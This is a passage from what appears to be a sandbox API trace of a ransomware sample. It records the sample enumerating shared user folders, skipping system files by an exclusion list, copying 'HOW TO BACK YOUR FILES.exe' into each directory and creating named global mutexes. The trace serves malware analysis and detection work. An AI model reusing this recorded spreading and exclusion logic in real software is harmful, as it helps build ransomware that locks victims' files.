lpString2="pagefile.sys") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0100.586] lstrlenW (lpString="Favorites") returned 9 [0100.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f5b8 [0100.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x5245d0 [0100.586] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0100.586] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0100.586] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.587] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.587] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.587] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0100.587] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0100.587] lstrlenW (lpString="Microsoft") returned 9 [0100.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f5d0 [0100.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524638 [0100.588] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.588] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.588] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.588] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0100.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f5e8 [0100.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53fa48 [0100.588] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0100.588] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0100.588] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.589] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0100.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f600 [0100.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x52fbc0 [0100.589] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0100.589] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0100.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.590] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0100.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f618 [0100.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x530040 [0100.590] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0100.590] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0100.590] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.590] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0100.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f630 [0100.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53fab8 [0100.590] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0100.590] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0100.591] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.591] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0100.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f648 [0100.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x5246a0 [0100.591] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0100.591] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0100.591] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.592] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0100.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f660 [0100.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x5169f8 [0100.592] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0100.592] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0100.592] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.593] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0100.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f678 [0100.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524708 [0100.593] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0100.593] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0100.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.593] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0100.593] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0100.593] ReleaseMutex (hMutex=0xec) returned 1 [0100.593] CloseHandle (hObject=0xec) returned 1 [0100.593] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Desktop" | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0100.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529610 | out: hHeap=0x4f0000) returned 1 [0100.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b008 | out: hHeap=0x4f0000) returned 1 [0100.594] lstrlenW (lpString="C:\\Users\\All Users\\Desktop") returned 26 [0100.594] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\959209923624EA29D6960C1EB05B6E56") returned 0xec [0100.594] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.594] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Desktop" | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0100.594] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.594] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.594] CreateFileW (lpFileName="C:\\Users\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.595] GetLastError () returned 0x0 [0100.595] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.595] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.595] CloseHandle (hObject=0xf4) returned 1 [0100.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.595] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.595] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529610 [0100.598] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Documents" | out: lpString1="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0100.598] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.598] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.598] CreateFileW (lpFileName="C:\\Users\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.599] GetLastError () returned 0x0 [0100.599] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.599] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.599] CloseHandle (hObject=0xf4) returned 1 [0100.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.600] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.600] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529610 [0100.600] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.600] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.600] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.600] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.600] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.601] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.601] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.601] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.601] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.602] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0100.602] FindClose (in: hFindFile=0x529610 | out: hFindFile=0x529610) returned 1 [0100.602] ReleaseMutex (hMutex=0xec) returned 1 [0100.602] CloseHandle (hObject=0xec) returned 1 [0100.602] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Favorites" | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0100.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f7a8 | out: hHeap=0x4f0000) returned 1 [0100.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b038 | out: hHeap=0x4f0000) returned 1 [0100.602] lstrlenW (lpString="C:\\Users\\All Users\\Favorites") returned 28 [0100.602] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\432FAB05E8E9DB051834E0A0A8D3445E") returned 0xec [0100.602] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.602] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Favorites" | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0100.602] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.602] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.603] CreateFileW (lpFileName="C:\\Users\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.603] GetLastError () returned 0x0 [0100.603] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.603] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.604] CloseHandle (hObject=0xf4) returned 1 [0100.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.604] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.604] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, 